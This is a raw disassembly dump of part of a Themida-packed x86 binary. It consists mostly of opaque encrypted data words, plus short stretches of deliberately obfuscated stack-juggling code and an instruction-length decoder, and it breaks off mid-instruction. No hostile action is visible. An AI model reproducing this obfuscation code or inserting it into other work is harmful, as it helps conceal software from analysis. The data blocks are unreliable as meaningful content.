0C0F44B88h, 3033ABF9h, 46CFA9E4h, 0DCDDF3D6h dd 0EACF5D48h, 349E4D20h, 14FEE371h, 0A436F2A1h, 0C3B3CAF1h dd 728B9CCh, 4166FB6Ah, 50B70789h, 0A2C07100h, 0B205D2A7h dd 0DD435222h, 1AC92792h, 0C84AC1ABh, 304117F4h, 0D74D4C21h dd 3EBF0DE0h dd 7FEE8BAEh, 2522C4E9h, 33DB1F4Eh, 0E40999h, 0B6D90000h dd 85158861h, 0C750D75Ch, 9609E2h, 47D54821h, 0ECFD8962h dd 7B30158Bh, 0BC7550C4h, 0FCB59A09h, 3AF7D849h, 58B8C987h dd 9FC92A97h, 0BC3DA7F6h, 87AA382Dh, 0F1BB7AD0h, 34FDE070h dd 723F20B1h, 5A7FECDBh, 0BB9C0DF0h, 0F5DA4FFEh, 3718893Ch dd 0B58F7B5Bh, 0D14FEB16h, 70118064h, 17FFA78Dh, 36F7A380h dd 9EC981A0h, 3D989F54h, 0A23776CDh, 1A8E2FBDh, 0C0EF0EFAh dd 1DCCB7D7h, 4E2A0F9Eh, 0E0C95ACDh, 0C6E37B2Ah, 719726F6h dd 0B6FE2779h, 20E0F1C7h, 0E7FE2779h, 4CC69410h, 0FB4BCD62h dd 27792AEAh, 9E1AEDFEh, 0F96D8217h, 3395ACD8h, 8C712717h dd 40D154DDh, 0E75FBF2Fh, 601159BAh, 6223EF5Eh, 0AA19C8F1h dd 14D0E0h, 94000000h, 86227F10h, 0FE8FDDE3h, 0FE27AD1Eh dd 2B8266D9h, 81EC52FBh, 9A0FFE54h, 0B928DDB5h, 0DD4F3E94h dd 0FD9312F8h, 1DB372D8h, 3BD35238h, 64F1B41Eh, 84169743h dd 50E3F55Dh, 405E089h, 2D000000h, 4, 5C240487h, 68241C89h dd 7375h, 51241C89h, 0C181E189h, 4, 8704E983h, 895C240Ch dd 0EC83242Ch, 24148904h, 0E97591BAh, 5AD38905h, 242C8B54h dd 5104C483h, 8B9h, 0E8E98100h, 1227F75h, 0E8C181E9h, 89227F75h dd 2C8B5919h, 0E3895324h, 4C381h, 0C3830000h, 241C8704h dd 2434FF5Ch, 4C4835Bh, 0FBB8FBE9h, 68050CFFh, 55BBE9B9h dd 2824E06Ch, 7BA7EFC7h, 0E98B3EB8h, 0FFC50305h, 4BD0D8E0h dd 3C30247h, 6B35CA0Bh, 1589DE3Dh, 0A25364Fh, 7081325h dd 0E0198B68h, 0F46A9070h, 5D45AC7Ah, 54893400h, 0B717421Eh dd 0F04AF54Eh, 41D22A78h, 0F942352Ah, 8EF0481Bh, 2D0C1D6Dh dd 8AB5C50Bh, 6481E947h, 0A96B3F09h, 0EBDB4D64h, 9575757Dh dd 14423A39h, 0DF78DF5Ch, 0B9E0963Ah, 53BE8576h, 4D63CB56h dd 0E08D8D06h, 6A05E98Ch, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 0F69C350h, 8D89D2B7h dd 5E41095h, 2879BD29h, 85C705E4h, 5E42C65h, 6E68h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0D6C35040h, 0E3AEBC0Ch dd 85C7BFD0h, 5E430FDh, 0 dd 98EC081h, 0B5FF0D7Ch, 5E402D9h, 22A5858Bh, 95FF05E4h dd 5E42A61h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 0ECC35040h, 8E2C23C7h, 6AF18Bh, 10C195FFh, 0C08B05E4h dd 57B919EBh, 72CDD372h, 55BF63E1h, 4F525438h, 3EB2F386h dd 1EF29B2Ch, 0E8EA57E1h, 0Eh, 0F7F61485h, 0D7381EEBh dd 150DEEB9h, 85895325h, 5E42679h, 0B1958B5Fh, 8105E400h dd 5D5AC7h, 0C2816600h, 3ABEB0EBh, 8B000017h, 0E404B985h dd 571F8B05h, 5ACF8B66h, 258AEB81h, 8B661675h, 57F381C7h dd 0B27379C0h, 0CDC381B1h, 8B1AFA13h, 811F89CFh, 0E59A0AE2h dd 3EF8362h, 0D3BF0F4Fh, 0F01EE83h, 0FFFFC885h, 816660FFh dd 8B0A2CEAh, 0E41B1195h, 4EB6105h, 6A1F4E45h, 59AE9h dd 0C940F300h, 1B9C5CC6h, 0AC2BAE74h, 0C47FF129h, 1D9459C1h dd 8712AD7Ah, 0EE345BD6h, 34EEF16Eh, 98820586h, 8E3558D3h dd 7384E6DFh, 9AE054EEh, 49C077CDh, 8B785273h, 0F7BBD141h dd 0BE3F5B34h, 0D1869C03h, 2F10F756h, 4F05524Dh, 29A36CAFh dd 9725A413h, 7642C575h, 7F9E82DCh, 6BE468F8h, 89235E1Fh dd 0BC66695Ah, 0BB1ABD3Eh, 5C6CEB6Fh, 6AE02AE7h, 8E9813D8h dd 0C87B51CEh, 0B727C597h, 72D8A038h, 0EE69EF0Eh, 58433EFh dd 51AFB0B7h, 98794F05h, 652D582h, 5A4600CDh, 1535B093h dd 0DED9312Eh, 91BE60CAh, 0EB49B619h, 494F0571h, 4192CD86h dd 0C5000000h, 7349C077h, 4E66CCCh, 0FC24864Fh, 14C94E35h dd 1BF2Eh, 77DE0000h, 0D67444C3h, 8B0CCC62h, 76F80256h dd 1AD7C4E4h, 7D4DD7FBh, 0AC90FAE7h, 82D60BCAh, 0BEA1670h dd 5DC5C84Fh, 0EF781F9Eh, 0E562D6CCh, 0D96FEE28h, 13C09813h dd 0B7237FDEh, 0CCD9E630h, 0D6A07D6Fh, 2C765F7Dh, 246E2BACh dd 0C9933B4h, 229372BEh, 7DFA20A7h, 0D6E265D3h, 3190281Dh dd 26D6D0D9h, 0B2A13BB4h, 0A17A0658h, 0A82FAAF4h, 0BDE54510h dd 15B1FF74h, 87682Eh, 77AF0000h, 0EB714BC6h, 43D1EB6Eh dd 15D83979h, 0AE2FFB9Ah, 0D1839933h, 0BB9BF756h, 78140190h dd 68F2E6B3h, 0CD5F6DE6h, 6D3C8C0Fh, 6559D85h, 0A587F85Fh dd 74F050Fh, 535F7BD4h, 14F9999Ah, 7EC22Eh, 0CC150000h dd 515B0FE6h, 1FF8C27Fh, 6FEE42F3h, 9742D8F0h, 568BB810h dd 7B55765h, 79AA2DADh, 0F53D9F63h, 40C773AFh, 4FCA8B97h dd 0BB316948h, 0D429A800h, 4F050256h, 6D3065D6h, 5021210h dd 0F4A1924Fh, 44C377E7h, 2F8E6D74h, 4E654D6h, 261FD04Fh dd 4F04E644h, 0A7136FA0h, 290E7720h, 0C34F04E6h, 0E042A302h dd 5C4F04E5h, 6C943E9Bh, 0EE69EC36h, 0C972D125h, 19B2E14h dd 32000000h, 0EC6EC277h, 0B9EA5973h, 8E09CCD6h, 31AA203Ah dd 9A77A89Bh, 2CAF2C3Eh, 51CE8E9Ch, 0F26DE17Bh, 0B3FFCBE6h dd 9B876D7Bh, 5578FF7Ah, 0C52EB562h, 18881B5Dh, 0F3C94E0Ah dd 7BDA0F40h, 0E958BD0Ah, 0B6E8C254h, 122E0841h, 68A2CC89h dd 0A89AB244h, 0FACE0323h, 0AD70EB60h, 0E860C075h, 0B5AE3A6Fh dd 0BCE6C5D8h, 352EBA3Dh, 3EB93E58h, 26B5B5AAh, 0B71554E9h dd 0AA2DAA4Bh, 803FBFEBh, 4F5E3B28h, 22E564D3h, 0B60710C8h dd 3E9B5660h, 49CB809Ah, 0D80F62D9h, 0FEF66A08h, 85AF7955h dd 47E5F728h, 0B8421691h, 1C2EBA35h, 7D4DDC5Fh, 0A72EFD35h dd 1DAAC74Bh, 2DE67649h, 0EF3B61A1h, 23017E6Bh, 8154E90Ah dd 56B01D4Eh, 936766E1h, 33F8EDB0h, 152D9h, 0E6CC7C00h dd 8494834Eh, 0C94E0A08h, 420F40F3h, 0D9BC3EF7h, 0E917FBE4h dd 0AE419B54h, 0A12C304Eh, 0ABF7568Bh, 0B011AB2Eh, 0E8E8ED4Fh dd 5B8C4F54h, 8B40DAFEh, 0C42E8D10h, 7BA36821h, 137FD82Eh dd 759725A4h, 0AA8047C6h, 0CF1C4CC6h, 40F20C0Bh, 957EF5C7h dd 37B625C7h, 0D9B4B7A5h, 48ADEF16h, 7025BB3Eh, 0A0EFF6AFh dd 0E5451748h, 40DB131Fh, 60D7367Ah, 2F14E6E9h, 5833F903h dd 6Dh, 0E862D8FFh, 0E6AAD825h, 49514F04h, 84BF0D84h, 219BBF4Ah dd 96430A04h, 30912BECh, 0D844951h, 5B956D4h, 0A865D64Fh dd 5B8E94Bh, 2FAA2B4Fh, 51C88F9Dh, 0F168E17Bh, 0F25868DBh dd 687F468Eh, 57008732h, 455D070Bh, 8E451796h, 27B476C5h dd 493CCAA6h, 0EEB1E2D2h, 52BE391h, 2697414Fh, 98B89CB3h dd 1CC3C237h, 67h, 6FE6CC4Bh, 0E243F127h, 8F78339Ch, 98754A0Dh dd 0D454E9EBh, 4B34963h, 53180285h, 0D85F80D8h, 8254E9CBh dd 5219F838h, 14C1B4DBh, 0E3CE3796h, 0B75AD358h, 0D3998144h dd 0F4DDFF58h, 15DBD39Eh, 44114DD6h, 81339D5Ah, 2787D506h dd 0A21B555Dh, 849E7D20h, 0D00359D2h, 9B33E07h, 14C754FCh dd 46081271h, 0D84B00CDh, 0D52AED6Fh, 54EE73CEh, 725369AAh dd 46970018h, 10FD865Eh, 7C641F6h, 0C1DD5FA0h, 290F54EEh dd 0BA8ABB76h, 0B788DDC9h, 54EE8DB5h, 0C693C437h, 7DFC7BA7h dd 6BB4F86Fh, 0DEA8C4E5h, 2C8433D2h, 0D65105AFh, 4C1C5182h dd 6DCF3097h, 0CFB9245Bh, 6EB4DB0Ch, 8B9047E9h, 245AB8BAh dd 8EC334B9h, 5C460F5Dh, 994A1E99h, 834CCF8Dh, 0E5AD587h dd 0EBC17AFCh, 4A1E9951h, 24EC14F6h, 2FCE3298h, 0E042A3A8h dd 0CB9245Ah, 89BD0427h, 52BC2622h, 9E5567E0h, 0CD5578ADh dd 42201D0Eh, 0A2B92466h, 41593C71h, 8BB8108Bh, 0DFCB8ACEh dd 17CC9C1Bh, 30BBAh, 6520000h, 4DC47751h, 0EF6EED7Fh dd 0E894FDDh, 0B32CA0BAh, 0D7520319h, 7BF66785h, 9E19DB61h dd 3EB930CAh, 5FD890AAh, 4968B30Dh, 89000045h, 8953240Ch dd 4C381E3h, 81000000h, 4EBh, 241C8700h, 242C895Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push 5E98D84h mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx push eax mov eax, 8 add eax, ebx push edi mov edi, ebp mov [eax], edi pop edi pop eax push dword ptr [esp] pop ebx add esp, 4 mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_54658E ; --------------------------------------------------------------------------- db 87h, 7Bh, 32h dd 9978FFE8h, 524743D5h, 0B8D2A550h, 5E99295h, 0E0FFC503h dd 56FF45DAh, 4C9C9F18h, 7D9B0687h, 225AD8B6h, 49ED72E9h dd 790C9ECAh, 427F2473h, 583852E0h, 40487CA5h, 3EA0AAA2h dd 476B8857h, 6C6A6BB5h, 1CF6FDC5h, 40345931h, 34519CB0h dd 796D6821h, 358F827Eh, 5BB60AF9h, 24544CC8h, 66AED140h dd 10DC9B62h, 2DEBh, 0DD00000h, 319CBFAEh, 0ADF9DFF2h dd 8C88A7A5h, 0B7FB7552h, 0F99CBE00h, 937EE5ADh, 68009D89h dd 14672681h, 7403B2BDh, 0E9499DBDh, 0A2Ch, 0E9949D68h dd 0EA0CE905h, 0D568FFFAh, 0E905E995h, 0FFFAEA02h, 0E996CF68h dd 0E9F8E905h, 8968FFFAh, 0E905E997h, 0FFFAE9EEh, 0E9983368h dd 0E9E4E905h, 0F668FFFAh, 0E905E998h, 0FFFAE9DAh, 0E999C368h dd 0E9D0E905h, 8E68FFFAh, 0E905E99Bh, 0FFFAE9C6h, 0E99C9068h dd 0E9BCE905h, 0FD7EFFFAh, 13C74342h, 0A029F194h, 0FA7CA629h dd 11C45E41h, 9726F796h, 0B1D45302h, 6B6AE569h, 1FBE39BFh dd 0B2D55403h, 96B540Bh, 6B54EE7Ah, 6DCC461Dh, 0B7058435h dd 0E5E547BCh, 94474F04h, 587703Bh, 79997D42h, 34E754EEh dd 0AC98F251h, 6E04324Dh, 0A587F85Fh, 754EE1Ch, 581F7BD4h dd 0F764BE21h, 0BC696474h, 9028A717h, 56AF6EA3h, 5AD7B051h dd 67A362D5h, 0CC5679F0h, 813C8C0Fh, 8EF756D4h, 54E9BC5Dh dd 0A47176B9h, 571C3E4Ah, 8A53C85h, 69EA0000h, 8733EFEEh dd 0D4859D00h, 66E83255h, 0BD30EAEDh, 2B8A8302h, 5D40FF7Eh dd 0F79611C5h, 0AB2AAD2Bh, 5E41F87Fh, 9D9FE0A7h, 1F54EE79h dd 0C0773269h, 62E97349h, 2491E4EBh, 1A00E7A6h, 377CD95Eh dd 54E8FCD2h, 548B2112h, 54E8FBD2h, 0B5078032h, 11AB2697h dd 76BEE248h, 529B8763h, 33F8E2F1h, 251Ah, 6FD8BD00h, 60D52AEDh dd 0DC54E908h, 0EA6EB41Bh, 3728A06Dh, 54E90831h, 0BC2CE9Ch dd 33F8EB38h, 0F0A1h, 0C077F400h, 0CB379950h, 2D1E9BE5h dd 51C88D9Fh, 0F36AE17Bh, 159443D9h, 0A6A88D72h, 27944F05h dd 3D02E1A4h, 4F05A43Fh, 0E917ABDh, 6124A714h, 0A3BFBD82h dd 0FA3D4F05h, 510EBB11h, 75AD0CD3h, 8AE8D5C6h, 0EA4F05A4h dd 0DA1BF429h, 54E9C669h, 0D651041Eh, 0FA845182h, 8EF75639h dd 54E981ACh, 7B0AC708h, 72D55700h, 9F2DA628h, 826BC936h dd 6C954E9h, 0CA43F9D5h, 0A0412785h, 342F10F7h, 405ACFA9h dd 3169C88Fh, 4E4805BCh, 0AFB4398Fh, 797D456h, 0AA9F504Fh dd 0C88C9679h, 27E3824Fh, 69B23BB6h, 9E22202Eh, 76D7B3Ah dd 31A20000h, 4F0B17B6h, 9C5DC5C8h, 2EA07A1Dh, 450812B5h dd 6352CBCAh, 85088736h, 3F5ED99Dh, 0D3F275E3h, 86098037h dd 0D557A8FFh, 5754EE7Ah, 0C6777A51h, 0D99E844Bh, 48D2F55Eh dd 26850883h, 10FD7EFCh, 61D6CCBBh, 914E2DE6h, 0FA734C13h dd 7A54E907h, 3A3C23B9h, 9554E908h, 0E661D4CEh, 0A861A12Dh dd 33F8EADBh, 0C80Ch, 0C0774B00h, 0DD9C8649h, 78D50E5Ah dd 0A2297150h, 0E5E644B9h, 95464F04h, 2AABF7A0h, 3409E8AFh dd 4F04E636h, 0C08845B6h, 4EA161Fh, 2A55BD4Fh, 0D76D9CD5h dd 6AE12DE6h, 8136ECF3h, 9D2FAA2Fh, 889275A6h, 6DEA6EC0h dd 57B3A038h, 21AB64E3h, 9679FBB4h, 5D1BFBCh, 523FB5A0h dd 31C1B2F3h, 0DA1D54E9h, 9517C0BBh, 9445CD32h, 20135ACFh dd 10B0257Dh, 5C52C759h, 0EC3D4F88h, 0C13221BBh, 169144DEh dd 2084B051h, 68C98322h, 673h, 19BC37B8h, 0CFCE4901h, 7C63E653h dd 14BB34A6h, 0CDD04F0Eh, 894C5D58h, 23938F0Eh, 73F921A4h dd 8E4DD5F8h, 92F1880Fh, 0EE7BCFADh, 5F2D54h, 444BC677h dd 0FF9E19DEh, 0DBC0776Eh, 4E688EAh, 0D733E44Fh, 65DEEA65h dd 0D5829830h, 6F7DFC7Bh, 0E61B1966h, 56994F04h, 50AD3065h dd 4F04E5CEh, 53D12E8Dh, 0D14F04E6h, 0D750041Eh, 44C6BF7Ah dd 794EBC81h, 6DAE54EEh, 40FB70AAh, 8E16C55Dh, 13AB0615h dd 90EDB0DEh, 54EE9E92h, 0DCEC2112h, 0DB2434E1h, 54EE9F59h dd 4BE39BBh, 31330CD3h, 0B354EE9Fh, 77480F40h, 5AD2C7AEh dd 97AC0DCEh, 9C22154Fh, 5B9753Ch, 7DFE0000h, 9347C3C2h dd 20A97114h, 7AFC26A9h, 9144DEC1h, 17A67716h, 3154D382h dd 0EBEA65E9h, 9F3EB93Fh, 3255D483h, 89EBD48Bh, 0EB54EE7Dh dd 0C077C69Dh, 0DE278649h, 4F04E65Ch, 1EBA17D8h, 0FCCC4F0Ch dd 789999E1h, 0C6FF61F3h, 0D09A7741h, 390AF89Fh, 0A22E14D3h dd 0Fh, 0DB560703h, 0C49108CFh, 14C2C97h, 527B0000h, 4F04E5CCh dd 24B52EE7h, 0E1AE9A1Ah, 2815F82Dh, 54EF2ECFh, 911F427h dd 0E876E242h, 64BE0E08h, 598AFFCCh, 0EC6FEC36h, 0B634E1DCh dd 2145EED7h, 9E515AD2h, 15A734D9h, 0FC451722h, 50Fh, 75189344h dd 2BAA2DADh, 0D8FF7AFFh, 70179042h, 29AC2BAAh, 65E8C1FCh dd 0BF3FEBEAh, 0D7859D00h, 62E93154h, 0E5DE4EBh, 0EE7E3331h dd 9CCBB154h, 7349C077h, 24EB62E9h, 106D78FEh, 4F04E612h dd 5C6CA192h, 13AE2AE7h, 65E2564Ch, 8706B557h, 0D5DDF952h dd 0A9968734h, 4F04E5CBh, 12B5E629h, 14C96320h, 7942Eh dd 2CC30000h, 9Ah, 0ED6FD87Bh, 0E76F4B2Ah, 19D17DC8h, 987C450Eh dd 0E454EEF7h, 81366C33h, 0DC9B8706h, 2A1BFA5Dh, 54EED348h dd 32A673A4h, 894CCE87h, 0D86633B4h, 9D40B35Ah, 3057D685h dd 0DEEA6DEAh, 0E5A82AE3h, 0E9964B98h, 4368AB54h, 1C3E95E0h dd 4C7CC597h, 81000004h, 0EA3057CEh, 3CE6E96Eh, 8F9B3ABDh dd 0D73352CDh, 33E4EB66h, 29A01584h, 7FF87CA6h, 9314C258h dd 26A1160Ch, 744918A7h, 54EE7DF6h, 0CC5B3076h, 2382056Dh dd 0C9238EC4h, 5219A98h, 7CD91A4Fh, 12349h, 6DCC9C00h dd 850E4305h, 0CF34549Bh, 4F052A6Dh, 0E8430CCFh, 0F0DABD3Fh dd 7932148Ch, 4A1DF618h, 0BF3ABFEBh, 9A77F263h, 0EF3E7155h dd 0B725CF54h, 7AAFA434h, 51C88F9Bh, 0ED036F4Eh, 71CD7F1Ch dd 0EA61AD66h, 12785973h, 0FE57F311h, 0D9907D81h, 0D62FEE6Ch dd 5AD80DD1h, 0E723E255h, 0F7D6F970h, 4D6BE9Bh, 47109DB3h dd 4F1D9C5Bh, 0DD5E1C06h, 4ECCB970h, 1065B68Fh, 4E8154EAh dd 3E181069h, 18D9731Ch, 37Fh, 58803B4h, 0BBDA5D1Dh, 686FEA6Fh dd 8700B2h, 0B9DC5B1Ah, 9558516Ch, 2FAF7B1Ah, 47F52DB0h dd 9259C1C4h, 9ECD741Bh, 0EE7EC3A1h, 0C5B2154h, 7349C077h dd 0D1EB62E9h, 5BBAE6C4h, 60BA1D9Ch, 69972EDh, 14C94F34h dd 8D4A502Eh, 0FE79F00Ah, 219C79EAh, 44h, 22AAA882h, 4233E91Ch dd 0E6CCC089h, 443E8AACh, 47329F55h, 74490C8Eh, 54E97F22h dd 0D4CE9142h, 2E3E265h, 54E8E71Dh, 14FB72F9h, 0F8D04F0Eh dd 0A49C3E52h, 95C68B8Dh, 0FC7DA538h, 0E4866F7Dh, 0D1000002h dd 7246C177h, 25E863E8h, 0EEFA7DFDh, 0A6059875h, 907DFE7Ch dd 7246C176h, 0E5E863E8h, 5CDE2786h, 0D84F04E6h, 6FFBA17h dd 1BFCC184h, 5B54E8FDh, 191FC098h, 0B454E8FCh, 11F0AAD6h dd 0E8FC4E2Ch, 0A06DAE54h, 0F8E2F54Eh, 396633h, 0D8B10000h dd 0D52AED6Fh, 54E90860h, 18632DCh, 57D52AABh, 0D554E908h dd 0ECFC3162h, 8138BDE5h, 999D2755h, 0A962F8C5h, 0E90FE648h dd 99996154h, 0F8F2F350h, 0F46433h, 77B30000h, 6EE960C0h dd 0D89DAF3Dh, 604A0BA1h, 0A176A8D0h, 11C4DE35h, 1AD13D96h dd 8433C9E3h, 0D365911Ch, 2314F4D7h, 36B1267Ch, 0C1E4B1A2h dd 0B932B8E2h, 118E97DCh, 0C98E4F05h, 9A5FF167h, 0A5964D1Fh dd 0E4EBDC17h, 5ED99D85h, 4AA21474h, 0CD996Eh, 82D65106h dd 399C1ED7h, 0E94BB7C4h, 21A49754h, 0B41B9956h, 2B0976D5h dd 8954E937h, 3CBF3C46h, 95DAB7ACh, 5ACFDFE5h, 5ACE8943h dd 0BB118A40h, 0D29E4E88h, 4625E8DDh, 6F1FB79h, 0DDB6794Fh dd 0B5D100Ah, 0F097C84Fh, 8F2CAB2Ah, 2220D5A0h, 0B48C75E7h dd 0F9000001h, 42D8FF76h, 948E1196h, 0E723A225h, 4FDBFA75h dd 9B8C138Eh, 51C88D1Ch, 0E760D44Eh, 3BBC3AE0h, 4EC98E94h dd 0ECD1B04Fh, 54EE818Eh, 77C398EEh, 65444BC6h, 0A729BB3Dh dd 72A79C2Ch, 56FE7D99h, 533267E0h, 4C098037h, 6FD8AC39h dd 7A4B2AEDh, 4F04E5F8h, 77D68374h, 0E908350Eh, 7A4E8154h dd 0E90863C5h, 0BBE7EE54h, 89D5BE39h, 0EB034089h, 869C33F8h dd 8C4C56D1h, 0CA174E0Bh, 46000000h, 7349C077h, 0EAF464E9h dd 0F7E65C71h, 8BBC0C41h, 4F0589A2h, 23A22592h, 0E3F970E7h dd 0D4BB39F6h, 0F87D1D75h, 66E557C3h, 5DC1B19h, 6556994Fh dd 6B22D529h, 0F25FAF24h, 0E96F008Dh, 0F49B5C54h, 0F756D481h dd 0DCB729ABh, 9B170EE2h, 0F66D7FB0h, 0BFEB4A1Dh, 0ECD5BE39h dd 5AD0517Dh, 9077D619h, 8F48CF8Ah, 534ED283h, 5C2AF59Bh dd 0D54D5085h, 910AC060h, 5D3A1F5Ch, 0DF7D2220h, 0B216h dd 0FD74E700h, 0F8840DAh, 0A0279288h, 0F873E53Dh, 11884DD5h dd 8B1E998Eh, 0D2484FCAh, 38E2E562h, 8C9639B2h, 0B2494CCFh dd 829092D3h, 9EEC54EEh, 4BC677C1h, 0B93D6544h, 0E5D153ACh dd 0E0534F04h, 6D261DAFh, 0AC33AA21h, 49C0773Bh, 0EB62E973h dd 0A62491E4h, 793E9EE7h, 79BA54EEh, 9B12D963h, 0BCA92EF4h dd 0EE78E143h, 5F904354h, 0B037A2F8h, 2872F5E7h, 1CA1629Ch dd 38BF5E42h, 1D5DC798h, 201596DAh, 77F665BDh, 9A15C765h dd 0F36EEF3Bh, 0EAB226h, 0EA6AE100h, 0E84B2DF5h, 0AF2E638Ah dd 0E760D2C8h, 69B51ED5h, 90516BE2h, 3, 775106C7h, 0ED7F4DC4h dd 4FDDEF6Eh, 0A0BA0E89h, 319B32Ch, 6785D752h, 0DB617BF6h dd 30CA9E19h, 90AA3EB9h, 0B30D5FD8h, 5E08950h, 4, 8704E883h dd 248B2404h, 63C66824h, 2C890000h, 356F6824h, 0C890000h dd 9B85024h, 5005E994h, 0D4243481h, 5D4C4632h, 32D4F581h dd 83584C46h, 248904ECh, 24048124h, 4, 4EC8159h, 89000000h dd 418F242Ch, 2434FF08h, 4C48159h, 0FF000000h, 815D2434h dd 4C4h, 0DFF4E900h, 5871FFFAh, 0ECF368FFh, 2BA96030h dd 0E99D67B8h, 0FFC50305h, 59A17E0h, 0E7C9D774h, 6CC09E17h dd 0F2D18211h, 48D1AE77h, 0A04AC96Bh, 3C59AD07h, 7794B42Ah dd 0C5895C01h, 66569B37h, 0D8E8C25Ah, 0D94F707Ah, 0DE088160h dd 3AC8D40Ah, 0E472472Fh, 1403AD54h, 0AA527259h, 28CE8150h dd 795A464Dh, 936D263Eh, 0A8F9123Ah, 27FED123h, 0C169657Ch dd 6B8F059h, 92D5DC4Dh, 118D8D4Fh, 8905E99Fh, 0E430B99Dh dd 958D8905h, 8905E410h, 0E40975B5h, 6585C705h, 1C05E42Ch dd 8B000075h, 0E412EDBDh, 0FD85C705h, 5E430h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 0A394C353h, 0FF0BDE99h, 0E4240DB5h, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 958BFA09h, 5E41401h, 2A6195FFh, 6A05E4h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 1CFE5C3h dd 4EDB006Fh, 0E879BB1Dh, 10h, 94FD70AEh, 0DCC686F8h, 0EF3D063Fh dd 8EB6121Dh, 18498589h, 6A5805E4h, 0C195FF00h, 8B05E410h dd 0DB39EBC0h, 0B37C077Ch, 346046Bh, 7490C391h, 0CC330579h dd 0F17AEEBCh, 0CF8D2191h, 0C23E7019h, 0A704AAF5h, 7B9570F6h dd 45C86428h, 3C9C6EA4h, 75F9D56Fh, 0A656974Eh, 0C33BCE10h dd 1C8E9h, 8 dup(41888800h), 4 dup(0) dd 880000h, 91C400h, 11111100h, 11111111h, 8899C911h, 88888888h dd 88h, 60000h, 444400h, 4100h, 11111100h, 44444411h, 88029944h dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h dd 0 dd 88h, 888888h, 80000000h, 88888800h, 888h, 8888800h dd 88888808h, 88h, 0 dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h dd 89h, 88888000h, 88888880h, 88888888h, 88888880h, 88888088h dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h, 0 dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0) dd 100h, 14h dup(0) dd 6380C300h, 7577EDh, 100h, 11h dup(0) dd 353E900h, 0E8550000h, 0 dd 27ED815Dh, 6005E9A1h, 0A07485C7h, 5E9h, 81660000h, 0FA1663Eh dd 0F85h, 7885C700h, 605E9A0h, 0E9000000h, 24h, 0A07C858Dh dd 8D5005E9h, 0E9A0CC85h, 6A565005h, 1DE800h, 0C4830000h dd 0FF2510h, 85890000h, 5E9A078h, 78B50361h, 8B05E9A0h dd 0E9A07485h db 5, 5Dh, 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_59897C mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_598988 ; --------------------------------------------------------------------------- loc_59897C: ; CODE XREF: Themida_:00598965j and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_598988: ; CODE XREF: Themida_:00598977j push ebx push esi push edi loc_59898B: ; CODE XREF: Themida_:005989E0j ; Themida_:005989FCj ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_59899E: ; CODE XREF: Themida_:005989C5j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 5E9A1DEh lea ebp, [ebp+5E9A054h] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_5989CB inc cl cmp cl, 0Bh jb loc_59899E loc_5989CB: ; CODE XREF: Themida_:005989BAj cmp cl, 0Bh jz loc_598A28 cmp al, 66h jnz loc_598A09 cmp byte ptr [ebp-5], 0 jnz loc_59898B cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_598A01 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_59898B ; --------------------------------------------------------------------------- loc_598A01: ; CODE XREF: Themida_:005989EEj and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_598A09: ; CODE XREF: Themida_:005989D6j cmp al, 67h jnz loc_59898B cmp byte ptr [ebp-6], 0 jnz loc_59898B xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_59898B ; --------------------------------------------------------------------------- loc_598A28: ; CODE XREF: Themida_:005989CEj mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_598A54 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_598A59 ; --------------------------------------------------------------------------- loc_598A54: ; CODE XREF: Themida_:00598A33j movzx edi, al shr edi, 1 loc_598A59: ; CODE XREF: Themida_:00598A4Fj push ebp call $+5 pop ebp sub ebp, 5E9A296h lea ebp, [ebp+5E99F54h] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_598BDB mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_598B1F dec ecx jz loc_598B02 dec ecx jnz loc_598B72 cmp byte ptr [ebp-2], 0 jnz loc_598B6E cmp byte ptr [ebp-5], 0 jz loc_598AE1 mov byte ptr [ebp+0Bh], 2 loc_598AE1: ; CODE XREF: Themida_:00598AD7j add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 5E9A322h mov dword ptr [ebp+5E9A074h], 1 pop 